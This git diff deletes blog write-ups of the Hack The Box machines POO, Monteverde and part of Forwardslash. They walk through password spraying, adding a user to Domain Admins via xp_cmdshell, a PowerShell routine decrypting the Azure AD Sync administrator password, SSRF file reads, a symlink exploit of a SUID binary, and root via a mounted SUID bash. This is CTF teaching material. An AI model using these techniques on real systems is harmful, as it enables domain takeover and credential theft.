CN=p00_dev,CN=Users,DC=intranet,DC=poo -objectclass : {top, person, organizationalPerson, user} -lastlogontimestamp : 3/21/2018 9:15:25 PM -name : p00_dev -objectsid : S-1-5-21-2413924783-1155145064-2969042445-1106 -samaccountname : p00_dev -codepage : 0 -samaccounttype : USER_OBJECT -accountexpires : 1/1/1601 2:00:00 AM -countrycode : 0 -whenchanged : 3/21/2018 7:15:25 PM -instancetype : 4 -usncreated : 25717 -objectguid : f221260f-558d-4787-b867-ec03a01cfa2e -lastlogoff : 1/1/1601 2:00:00 AM -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=intranet,DC=poo -dscorepropagationdata : 1/1/1601 12:00:00 AM -lastlogon : 3/22/2018 7:51:35 PM -badpwdcount : 3 -cn : p00_dev -useraccountcontrol : NORMAL_ACCOUNT -whencreated : 3/21/2018 7:06:49 PM -primarygroupid : 513 -pwdlastset : 3/21/2018 9:06:49 PM -usnchanged : 25736 -NULL -logoncount : 13 -badpasswordtime : 3/22/2018 1:53:22 PM -distinguishedname : CN=p00_adm,CN=Users,DC=intranet,DC=poo -objectclass : {top, person, organizationalPerson, user} -lastlogontimestamp : 4/11/2018 8:59:32 PM -name : p00_adm -objectsid : S-1-5-21-2413924783-1155145064-2969042445-1107 -samaccountname : p00_adm -codepage : 0 -samaccounttype : USER_OBJECT -accountexpires : 1/1/1601 2:00:00 AM -countrycode : 0 -whenchanged : 4/11/2018 5:59:32 PM -instancetype : 4 -objectguid : 3a04555f-c783-4b22-afeb-28ac72154842 -lastlogon : 4/12/2018 12:45:33 AM -lastlogoff : 1/1/1601 2:00:00 AM -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=intranet,DC=poo -dscorepropagationdata : 1/1/1601 12:00:00 AM -serviceprincipalname : cyber_audit/intranet.poo:443 -memberof : CN=P00 Help Desk,CN=Users,DC=intranet,DC=poo -whencreated : 3/21/2018 7:07:23 PM -badpwdcount : 0 -cn : p00_adm -useraccountcontrol : NORMAL_ACCOUNT -usncreated : 25722 -primarygroupid : 513 -pwdlastset : 3/22/2018 2:39:53 PM -usnchanged : 69768 -``` - -We can copy the BloodHound files to our local computer using WinRM: - -``` -PS C:\Users\snowscan> $session = new-pssession -computername [dead:babe::1001] -credential $Credential -PS C:\Users\snowscan> copy-item -fromsession $session -path c:\temp\*.csv -destination . -PS C:\Users\snowscan> -``` - -Now, let's load all these files in Bloodhound... - -![Bloodhound](/assets/images/htb-writeup-poo/Screenshot_17.png) - -![Bloodhound](/assets/images/htb-writeup-poo/Screenshot_18.png) - -Wow, p00_adm has GenericAll access to all lot of groups, including Domain Admins! - -https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ - -> TL;DR: if we control an object that has SeEnableDelegationPrivilege in the domain, AND said object has GenericAll/GenericWrite rights over any other user object in the domain, we can compromise the domain at will, indefinitely. - -We'll try using MSSQL again and run commands p00_adm and see if we can escalate to Domain Admin. - -`xp_cmdshell 'powershell -c "import-module c:\temp\p.ps1; $SecPassword = ConvertTo-SecureString \"ZQ!5t4r\" -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential(\"intranet.poo\p00_adm\", $SecPassword); Add-DomainGroupMember -Identity \"Domain Admins\" -Members \"p00_adm\" -Credential $Cred "'` - -Command has executed successfully, let's log in: - -``` -PS C:\Users\snowscan> $SecPassword = ConvertTo-SecureString 'ZQ!5t4r' -AsPlainText -Force -PS C:\Users\snowscan> $Credential = New-Object System.Management.Automation.PSCredential('intranet.poo\p00_adm', $SecPassword) -PS C:\Users\snowscan> enter-pssession -computername [dead:babe::1001] -credential $Credential -[[dead:babe::1001]]: PS C:\Users\p00_adm\Documents> whoami -poo\p00_adm -``` - -Ok, we are now logged in as `p00_adm`, we can run commands on the DC by using `invoke-command`: - -``` -[[dead:babe::1001]]: PS C:\Users\p00_adm\Documents> invoke-command -credential $credential -computername dc -scriptblock { dir c:\users} - - - Directory: C:\users - - -Mode LastWriteTime Length Name PSComputerName ----- ------------- ------ ---- -------------- -d----- 3/15/2018 1:20 AM Administrator dc -d----- 3/15/2018 12:38 AM mr3ks dc -d----- 4/12/2018 4:37 AM p00_adm dc -d-r--- 11/21/2016 3:24 AM Public dc - -[[dead:babe::1001]]: PS C:\Users\p00_adm\Documents> invoke-command -credential $credential -computername dc -scriptblock { dir c:\users\mr3ks} - - - Directory: C:\users\mr3ks - - -Mode LastWriteTime Length Name PSComputerName ----- ------------- ------ ---- -------------- -d-r--- 3/22/2018 11:17 PM Contacts dc -d-r--- 4/7/2018 1:06 PM Desktop dc -d-r--- 3/22/2018 11:17 PM Documents dc -d-r--- 4/7/2018 12:51 PM Downloads dc -d-r--- 3/22/2018 11:17 PM Favorites dc -d-r--- 3/22/2018 11:17 PM Links dc -d-r--- 3/22/2018 11:17 PM Music dc -d-r--- 3/22/2018 11:17 PM Pictures dc -d-r--- 3/22/2018 11:17 PM Saved Games dc -d-r--- 3/22/2018 11:17 PM Searches dc -d-r--- 3/22/2018 11:17 PM Videos dc - - -[[dead:babe::1001]]: PS C:\Users\p00_adm\Documents> invoke-command -credential $credential -computername dc -scriptblock { dir c:\users\mr3ks\desktop} - - - Directory: C:\users\mr3ks\desktop - - -Mode LastWriteTime Length Name PSComputerName ----- ------------- ------ ---- -------------- --a---- 3/26/2018 5:47 PM 37 flag.txt dc - - -[[dead:babe::1001]]: PS C:\Users\p00_adm\Documents> invoke-command -credential $credential -computername dc -scriptblock { type c:\users\mr3ks\desktop\flag.txt} -POO{1196ef8bc523f0...} -``` - -Jackpot! We got the last flag: `POO{1196ef8bc523f0...}` \ No newline at end of file diff --git a/_posts/2020-06-12-htb-writeup-monteverde.md b/_posts/2020-06-12-htb-writeup-monteverde.md deleted file mode 100644 index e6214867f3..0000000000 --- a/_posts/2020-06-12-htb-writeup-monteverde.md +++ /dev/null @@ -1,350 +0,0 @@ ---- -layout: single -title: Monteverde - Hack The Box -excerpt: "Monteverde was an Active Directory box on the easier side that requires enumerating user accounts then password spraying to get an initial shell. Then we find more credentials looking around the box and eventually find the MSOL account password which we use to get administrator access." -date: 2020-06-12 -classes: wide -header: - teaser: /assets/images/htb-writeup-monteverde/monteverde_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - ad - - password spray - - azure ad - - crackmapexec - - plaintext creds - - winrm ---- - -![](/assets/images/htb-writeup-monteverde/monteverde_logo.png) - -Monteverde was an Active Directory box on the easier side that requires enumerating user accounts then password spraying to get an initial shell. Then we find more credentials looking around the box and eventually find the MSOL account password which we use to get administrator access. - -## Summary - -- Get the list of users and groups from a null session on the domain controller -- Use crackmapexec to spray credentials, find an account that uses the username as the password -- Find an Azure XML file with a plaintext password from a PSADPasswordCredential object -- Log in with the credentials, find and decrypt the password for the MSOL account -- Log in as administrator with the MSOL account password - -## Portscan - -``` -root@kali:~/htb/monteverde# nmap -sC -sV -p- 10.10.10.172 -Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-12 08:09 EST -Nmap scan report for monteverde.htb (10.10.10.172) -Host is up (0.022s latency). -Not shown: 65516 filtered ports -PORT STATE SERVICE VERSION -53/tcp open domain? -| fingerprint-strings: -| DNSVersionBindReqTCP: -| version -|_ bind -88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-12 13:22:26Z) -135/tcp open msrpc Microsoft Windows RPC -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) -445/tcp open microsoft-ds? -464/tcp open kpasswd5? -593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 -636/tcp open tcpwrapped -3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) -3269/tcp open tcpwrapped -5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -9389/tcp open mc-nmf .NET Message Framing -49667/tcp open msrpc Microsoft Windows RPC -49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 -49670/tcp open msrpc Microsoft Windows RPC -49671/tcp open msrpc Microsoft Windows RPC -49706/tcp open msrpc Microsoft Windows RPC -49775/tcp open msrpc Microsoft Windows RPC -``` - -## Listing users and groups in AD - -With RPC client we can pull the list of users and groups (null sessions are allowed): - -``` -root@kali:~# rpcclient -U "" -N 10.10.10.172 -rpcclient $> enumdomusers -user:[Guest] rid:[0x1f5] -user:[AAD_987d7f2f57d2] rid:[0x450] -user:[mhope] rid:[0x641] -user:[SABatchJobs] rid:[0xa2a] -user:[svc-ata] rid:[0xa2b] -user:[svc-bexec] rid:[0xa2c] -user:[svc-netapp] rid:[0xa2d] -user:[dgalanos] rid:[0xa35] -user:[roleary] rid:[0xa36] -user:[smorgan] rid:[0xa37] -``` - -``` -rpcclient $> enumdomgroups -group:[Enterprise Read-only Domain Controllers] rid:[0x1f2] -group:[Domain Users] rid:[0x201] -group:[Domain Guests] rid:[0x202] -group:[Domain Computers] rid:[0x203] -group:[Group Policy Creator Owners] rid:[0x208] -group:[Cloneable Domain Controllers] rid:[0x20a] -group:[Protected Users] rid:[0x20d] -group:[DnsUpdateProxy] rid:[0x44e] -group:[Azure Admins] rid:[0xa29] -group:[File Server Admins] rid:[0xa2e] -group:[Call Recording Admins] rid:[0xa2f] -group:[Reception] rid:[0xa30] -group:[Operations] rid:[0xa31] -group:[Trading] rid:[0xa32] -group:[HelpDesk] rid:[0xa33] -group:[Developers] rid:[0xa34] -``` - -Observations: -- There's an Azure Admins group which is not standard by default in Windows unless the domain has been connected to Azure AD with ADSync - -We can also retrieve the same information with LDAP using a tool like ldapsearch or windapsearch: - -``` -root@kali:~/tools/windapsearch# ./windapsearch.py --dc-ip 10.10.10.172 -U -[+] No username provided. Will try anonymous bind. -[+] Using Domain Controller at: 10.10.10.172 -[+] Getting defaultNamingContext from Root DSE -[+] Found: DC=MEGABANK,DC=LOCAL -[+] Attempting bind -[+] ...success! Binded as: -[+] None - -[+] Enumerating all AD users -[+] Found 10 users: - -cn: Guest - -cn: AAD_987d7f2f57d2 - -cn: Mike Hope -userPrincipalName: mhope@MEGABANK.LOCAL - -[...] -``` - -``` -root@kali:~/tools/windapsearch# ./windapsearch.py --dc-ip 10.10.10.172 -G -[+] No username provided. Will try anonymous bind. -[+] Using Domain Controller at: 10.10.10.172 -[+] Getting defaultNamingContext from Root DSE -[+] Found: DC=MEGABANK,DC=LOCAL -[+] Attempting bind -[+] ...success! Binded as: -[+] None - -[+] Enumerating all AD groups -[+] Found 48 groups: - -distinguishedName: CN=Users,CN=Builtin,DC=MEGABANK,DC=LOCAL -cn: Users - -distinguishedName: CN=Guests,CN=Builtin,DC=MEGABANK,DC=LOCAL -cn: Guests - -[...] -``` - -## Password spraying - -To password spray, I usually start with a small wordlist then expand if I don't find anything. Here, we'll create a custom wordlist using the smaller rockyou list and the list of users in case some users are using their username as the password: - -``` -root@kali:~/htb/monteverde# cat << EOF > users.txt -> Guest -> AAD_987d7f2f57d2 -> mhope -> SABatchJobs -> svc-ata -> svc-bexec -> svc-netapp -> dgalanos -> roleary -> smorgan -> EOF -root@kali:~/htb/monteverde# cat ~/tools/SecLists/Passwords/Leaked-Databases/rockyou-10.txt >> users.txt -``` - -Then we'll use crackmapexec to spray the credentials. Another tool like kerbrute could also be used for this since port 88 is open. -``` -root@kali:~/htb/monteverde# cme smb 10.10.10.172 -u /root/htb/monteverde/users.txt -p /root/htb/monteverde/passwords.txt | grep -v FAILURE -SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False) -SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK\SABatchJobs:SABatchJobs -``` - -Here we go, we got a valid account: `SABatchJobs / SABatchJobs` - -Checking shares... - -``` -root@kali:~/htb/monteverde# cme smb 10.10.10.172 -u SABatchJobs -p SABatchJobs --shares -SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False) -SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK\SABatchJobs:SABatchJobs -SMB 10.10.10.172 445 MONTEVERDE [+] Enumerated shares -SMB 10.10.10.172 445 MONTEVERDE Share Permissions Remark -SMB 10.10.10.172 445 MONTEVERDE ----- ----------- ------ -SMB 10.10.10.172 445 MONTEVERDE ADMIN$ Remote Admin -SMB 10.10.10.172 445 MONTEVERDE azure_uploads READ -SMB 10.10.10.172 445 MONTEVERDE C$ Default share -SMB 10.10.10.172 445 MONTEVERDE E$ Default share -SMB 10.10.10.172 445 MONTEVERDE IPC$ READ Remote IPC -SMB 10.10.10.172 445 MONTEVERDE NETLOGON READ Logon server share -SMB 10.10.10.172 445 MONTEVERDE SYSVOL READ Logon server share -SMB 10.10.10.172 445 MONTEVERDE users$ READ -``` - -While checking the home directories on the server, we find an Azure XML file with another password: `4n0therD4y@n0th3r$` -``` -root@kali:~/htb/monteverde# smbclient -U SABatchJobs //10.10.10.172/Users$ -Enter WORKGROUP\SABatchJobs's password: -Try "help" to get a list of possible commands. -smb: \> dir - . D 0 Fri Jan 3 08:12:48 2020 - .. D 0 Fri Jan 3 08:12:48 2020 - dgalanos D 0 Fri Jan 3 08:12:30 2020 - mhope D 0 Fri Jan 3 08:41:18 2020 - roleary D 0 Fri Jan 3 08:10:30 2020 - smorgan D 0 Fri Jan 3 08:10:24 2020 - - 524031 blocks of size 4096. 519955 blocks available -smb: \> cd mhope -smb: \mhope\> dir - . D 0 Fri Jan 3 08:41:18 2020 - .. D 0 Fri Jan 3 08:41:18 2020 - azure.xml AR 1212 Fri Jan 3 08:40:23 2020 - - 524031 blocks of size 4096. 519955 blocks available -smb: \mhope\> get azure.xml -getting file \mhope\azure.xml of size 1212 as azure.xml (12.9 KiloBytes/sec) (average 12.9 KiloBytes/sec) -smb: \mhope\> exit -root@kali:~/htb/monteverde# cat azure.xml -�� - - - Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential - System.Object - - Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential - -
    2020-01-03T05:35:00.7562298-08:00
    -
    2054-01-03T05:35:00.7562298-08:00
    - 00000000-0000-0000-0000-000000000000 - 4n0therD4y@n0th3r$ -
    -
    -
    -``` - -We can now connect via WinRM to the server as user `mhope`: - -``` -root@kali:~/htb/monteverde# evil-winrm -u mhope -p 4n0therD4y@n0th3r$ -i 10.10.10.172 - -Evil-WinRM shell v2.0 - -Info: Establishing connection to remote endpoint - -*Evil-WinRM* PS C:\Users\mhope\Documents> type ..\desktop\user.txt -4961976bd7[...] -``` - -## Privesc using the Azure AD Sync database - -Ref: [https://blog.xpnsec.com/azuread-connect-for-redteam/](https://blog.xpnsec.com/azuread-connect-for-redteam/) - -Ref2: [https://aireforge.com/Tools/DotNetSqlServerConnectionStringGenerator](https://aireforge.com/Tools/DotNetSqlServerConnectionStringGenerator) - -`mhope` is part of the `Azure Admins` group: - -``` -*Evil-WinRM* PS C:\Users\mhope\Documents> net users mhope -[...] - -Local Group Memberships *Remote Management Use -Global Group memberships *Azure Admins *Domain Users -The command completed successfully. -``` - -This group normally has the AAD_xxxxxxxxxx service account created to manage the AD Sync service. Because our user is also a member of that group he also has access to the local SQL server database which contains the encrypted password for the MSOL account. - -The ADsync database exist: - -``` -*Evil-WinRM* PS C:\Users\Administrator\Documents> sqlcmd -S localhost -Q "select name from sys.databases" -name ---------------------------------------------------------------------------------------------------------- -master -tempdb -model -msdb -ADSync - -(5 rows affected) -``` - -The file line of the string from the blogpost had to be modified with the correct connection string: `Data Source=localhost;Database=ADSync;Integrated Security=sspi` - -``` -*Evil-WinRM* PS C:\Users\mhope\Documents> $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=localhost;Database=ADSync;Integrated Security=sspi" -*Evil-WinRM* PS C:\Users\mhope\Documents> $client.Open() -*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd = $client.CreateCommand() -*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" -*Evil-WinRM* PS C:\Users\mhope\Documents> $reader = $cmd.ExecuteReader() -*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Read() | Out-Null -*Evil-WinRM* PS C:\Users\mhope\Documents> $key_id = $reader.GetInt32(0) -*Evil-WinRM* PS C:\Users\mhope\Documents> $instance_id = $reader.GetGuid(1) -*Evil-WinRM* PS C:\Users\mhope\Documents> $entropy = $reader.GetGuid(2) -*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Close() -*Evil-WinRM* PS C:\Users\mhope\Documents> -*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd = $client.CreateCommand() -*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" -*Evil-WinRM* PS C:\Users\mhope\Documents> $reader = $cmd.ExecuteReader() -*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Read() | Out-Null -*Evil-WinRM* PS C:\Users\mhope\Documents> $config = $reader.GetString(0) -*Evil-WinRM* PS C:\Users\mhope\Documents> $crypted = $reader.GetString(1) -*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Close() -*Evil-WinRM* PS C:\Users\mhope\Documents> -*Evil-WinRM* PS C:\Users\mhope\Documents> add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’ -*Evil-WinRM* PS C:\Users\mhope\Documents> $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager -*Evil-WinRM* PS C:\Users\mhope\Documents> $km.LoadKeySet($entropy, $instance_id, $key_id) -*Evil-WinRM* PS C:\Users\mhope\Documents> $key = $null -*Evil-WinRM* PS C:\Users\mhope\Documents> $km.GetActiveCredentialKey([ref]$key) -*Evil-WinRM* PS C:\Users\mhope\Documents> $key2 = $null -*Evil-WinRM* PS C:\Users\mhope\Documents> $km.GetKey(1, [ref]$key2) -*Evil-WinRM* PS C:\Users\mhope\Documents> $decrypted = $null -*Evil-WinRM* PS C:\Users\mhope\Documents> $key2.DecryptBase64ToString($crypted, [ref]$decrypted) -*Evil-WinRM* PS C:\Users\mhope\Documents> $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} -*Evil-WinRM* PS C:\Users\mhope\Documents> $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} -*Evil-WinRM* PS C:\Users\mhope\Documents> $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}} -*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Domain: " + $domain.Domain) -Domain: MEGABANK.LOCAL -*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Username: " + $username.Username) -Username: administrator -*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Password: " + $password.Password) -Password: d0m@in4dminyeah! -``` - -We got the administrator password now: `d0m@in4dminyeah!` - -``` -root@kali:~/htb/monteverde# evil-winrm -u administrator -p 'd0m@in4dminyeah!' -i 10.10.10.172 - -Evil-WinRM shell v2.0 - -Info: Establishing connection to remote endpoint - -*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\desktop\root.txt -12909612d2[...] -``` \ No newline at end of file diff --git a/_posts/2020-07-04-htb-writeup-forwardslash.md b/_posts/2020-07-04-htb-writeup-forwardslash.md deleted file mode 100644 index 389e5e33b2..0000000000 --- a/_posts/2020-07-04-htb-writeup-forwardslash.md +++ /dev/null @@ -1,321 +0,0 @@ ---- -layout: single -title: Forwardslash - Hack The Box -excerpt: "Forwardslash starts off like most classic Hack The Box machines with some enumeration of vhosts, files and directories with gobuster then we use a Server-Side Request Forgery (SSRF) vulnerability to reach a protected dev directory only accessible from localhost. After finding credentials and getting a shell, we'll analyze and exploit a small backup program to read files as user pain and find more credentials. In the spirit of Team Unintended, instead of solving the crypto challenge to get root I used the sudo commands available to me to upload and mount my own Luks container and execute a SUID bash binary." -date: 2020-07-04 -classes: wide -header: - teaser: /assets/images/htb-writeup-forwardslash/forwardslash_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - php - - vhosts - - ssrf - - ltrace - - python - - unintended - - luks ---- - -![](/assets/images/htb-writeup-forwardslash/forwardslash_logo.png) - -Forwardslash starts off like most classic Hack The Box machines with some enumeration of vhosts, files and directories with gobuster then we use a Server-Side Request Forgery (SSRF) vulnerability to reach a protected dev directory only accessible from localhost. After finding credentials and getting a shell, we'll analyze and exploit a small backup program to read files as user pain and find more credentials. In the spirit of Team Unintended, instead of solving the crypto challenge to get root I used the sudo commands available to me to upload and mount my own Luks container and execute a SUID bash binary. - -## Summary - -- Find the `backup` vhost, create an account and log in to the dashboard -- Enumerate the `backup` vhost with gobuster, find a `/dev` directory that only allows connections from localhost -- Use the disabled change profile picture page to do an SSRF and access the `/dev` directory, finding the `chiv` user password -- SSH in as user `chiv`, reverse a backup utitity and write a script to compute the expected MD5 hash, gaining arbitrary file read as user `pain` -- Find the password for user `pain` in `/var/backups/config.php.bak` -- Gain root the unintended way by using the sudo `luksOpen` and `mount` commands to mount a volume where a SUID `/bin/bash` binary has been placed - -## Portscan - -``` -root@kali:~/htb/forwardslash# nmap -sC -sV -p- 10.10.10.183 -Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-05 07:42 EDT -Nmap scan report for forwardslash.htb (10.10.10.183) -Host is up (0.016s latency). -Not shown: 65533 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA) -| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA) -|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: Backslash Gang -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -## Website - -When we browse the website with its IP address, it redirects us to `forwardslash.htb` so I will add this domain name to my local host file and use the hostname instead. - -``` -HTTP/1.1 302 Found -Date: Sun, 05 Apr 2020 11:48:05 GMT -Server: Apache/2.4.29 (Ubuntu) -Location: http://forwardslash.htb -``` - -Oh oh... The website has been defaced by the infamous **The Backslash Gang**. I don't see any links or any html comments that might indicate what to do next and I have no idea who that Sharon person referenced on the website is. - -![](/assets/images/htb-writeup-forwardslash/web1.png) - -Since the website is using the hostname (not just the IP address), it's worth looking for additional vhosts. I'll use gobuster for this and discover that there is a vhost for `backup.forwardslash.htb`: - -``` -root@kali:~/htb/forwardslash# gobuster vhost -q -w ~/tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 -u http://forwardslash.htb -Found: backup.forwardslash.htb (Status: 302) [Size: 33] -``` - -The backup page has a login screen with a link to create an account. - -![](/assets/images/htb-writeup-forwardslash/web2.png) - -![](/assets/images/htb-writeup-forwardslash/web3.png) - -Once logged in, we see a dashboard with a couple of options: - -![](/assets/images/htb-writeup-forwardslash/web4.png) - -At first glance they're not that interesting, but I'll get back to the Change Profile Picture one in just a minute... - -After running gobuster on that vhost we find a `/dev` directory. - -``` -root@kali:~/htb/forwardslash# gobuster dir -q -w ~/tools/SecLists/Discovery/Web-Content/big.txt -t 50 -u http://backup.forwardslash.htb -/.htaccess (Status: 403) -/.htpasswd (Status: 403) -/dev (Status: 301) -/server-status (Status: 403) -``` - -I get a 403 when I access this directory but my IP address is shown on the error message so this may be some kind of hint that the page can only be accessed locally (this hints at using an SSRF vulnerability to access the page). - -![](/assets/images/htb-writeup-forwardslash/web7.png) - -Back to the dashboard options, I see the option to change the profile picture is disabled (the URL bar and submit button are greyed out). - -![](/assets/images/htb-writeup-forwardslash/web5.png) - -These options are just disabled client-side with the `disabled` HTML tag: - -```html - - URL: -
    - - -``` - -Using Burp, I'll send the POST query directly and discover after messing around in the Repeater tab that there's an SSRF vulnerability on the page that lets me read files with the URL parameter or make HTTP requests. The first thing I tested was reading an arbitrary file like the `/etc/passwd`. - -![](/assets/images/htb-writeup-forwardslash/web6.png) - -From the `/etc/passwd` file, I have found two users: `chiv` and `pain` - -Remember that `/dev` page we couldn't access from our box? By using the `http` URI handler in the the `url` parameter we can send requests orginated from localhost and get around the IP restriction, reaching some kind of API test page. - -`url=http://backup.forwardslash.htb/dev` - -![](/assets/images/htb-writeup-forwardslash/web8.png) - -I couldn't figure out what to do with this API but I found that I could retrieve the PHP source code the `/dev/index.php` file by base64 encoding it with a PHP filter. - -![](/assets/images/htb-writeup-forwardslash/web9.png) - -The PHP code contains the password for user `chiv` for the FTP login function: - -```php -if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { - error_log("Getting file"); - echo ftp_get_string($conn_id, "debug.txt"); -} -``` - -We can log in with SSH with user `chiv` and this password: - -![](/assets/images/htb-writeup-forwardslash/ssh1.png) - -## Escalating to user pain - -I ran [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) to check for privilege escalation vectors. - -The `/usr/bin/backup` binary is owned by user `pain` and has the SUID bit set so that's the next logical step on the box. - -![](/assets/images/htb-writeup-forwardslash/ssh2.png) - -``` -chiv@forwardslash:~$ ls -l /usr/bin/backup --r-sr-xr-x 1 pain pain 13384 Mar 6 10:06 /usr/bin/backup -``` - -The program is weird, it tries to access a different random file every time I run it. - -``` -chiv@forwardslash:~$ /usr/bin/backup ----------------------------------------------------------------------- - Pain's Next-Gen Time Based Backup Viewer - v0.1 - NOTE: not reading the right file yet, - only works if backup is taken in same second ----------------------------------------------------------------------- - -Current Time: 12:17:34 -ERROR: 6de241f3320ade5ac8bb6e1d245a1457 Does Not Exist or Is Not Accessible By Me, Exiting... -``` - -I used `ltrace` to figure out what the program does. - -![](/assets/images/htb-writeup-forwardslash/ssh3.png) - -The program takes the time and computes an MD5 hash based from it, then tries to access a file with the MD5 name. - -To confirm this, I'll take the time from the previous output `(12:17:34 / 6de241f3320ade5ac8bb6e1d245a1457)` and compute the MD5 hash. - -``` -chiv@forwardslash:~$ echo -ne '12:17:34' | md5sum -6de241f3320ade5ac8bb6e1d245a1457 - -``` - -Good, the hash matches so we know that random file name is just a hash of the current time. So to exploit this program, I just need to generate a symlink to the file I want to read using the MD5 hash of the current time. Since the program runs as pain, I'll be able to read any files owned by this user. - -```python -#!/usr/bin/python -import hashlib -import os -import sys -from time import gmtime, strftime - -a = str(strftime("%H:%M:%S")) -print a -m = hashlib.md5() -m.update(a) -print os.symlink(sys.argv[1], m.hexdigest()) -print os.system('/usr/bin/backup') -``` - -I can now read any file with user `pain` privileges: - -![](/assets/images/htb-writeup-forwardslash/user.png) - -After looking around, I found the `/var/backups/config.php.bak` file containing pain's password: `db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704` - -![](/assets/images/htb-writeup-forwardslash/ssh4.png) - -I can log in as `pain` now: - -![](/assets/images/htb-writeup-forwardslash/pain.png) - -## Privesc to root unintended way - -There's a note in pain's home directory that gives a hint about the next step. - -``` -pain@forwardslash:~$ cat note.txt -Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go. - --chiv -``` - -Running sudo shows there's a few commands we can run as root like opening and mounting an encryted Luks volume. - -``` -pain@forwardslash:~$ sudo -l -Matching Defaults entries for pain on forwardslash: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - -User pain may run the following commands on forwardslash: - (root) NOPASSWD: /sbin/cryptsetup luksOpen * - (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ - (root) NOPASSWD: /bin/umount ./mnt/ -``` - -As we can see here, the encrypted backup is located here in `/var/backups/recovery/`. - -``` -pain@forwardslash:~$ ls -l /var/backups/recovery/ -total 976568 --rw-r----- 1 root backupoperator 1000000000 Mar 24 12:12 encrypted_backup.img -``` - -The `encrypter.py` script is some crypto challenge that we have to solve to recover the Luks volume encryption key. - -![](/assets/images/htb-writeup-forwardslash/encrypter.png) - -I didn't feel like solving a crypto challenge that weekend so I chose an unintended route to solve this one. Since we can open and mount Luks containers there's nothing stopping us from mounting a volume with an arbitrary program placed into it. The attributes set on the program files will also be used by the operating system so if we make something SUID like `bash` for example, then we'll be able to escalate root privileges easily. - -Step 1. First, we'll create an empty virtual disk -``` -# dd if=/dev/zero of=luksvolume1 bs=1M count=64 -64+0 records in -64+0 records out -67108864 bytes (67 MB, 64 MiB) copied, 0.0982699 s, 683 MB/s -``` - -Step 2. Then we format & encrypt it with LUKS (we pick an arbitrary password) -``` -# cryptsetup -vy luksFormat luksvolume1 - -WARNING! -======== -This will overwrite data on luksvolume1 irrevocably. - -Are you sure? (Type 'yes' in capital letters): YES -Enter passphrase for luksvolume1: -Verify passphrase: -Key slot 0 created. -Command successful. -``` - -Step 3. Next, we open the new encrypted container -``` -# cryptsetup luksOpen luksvolume1 myluksvol1 -Enter passphrase for luksvolume1: -``` - 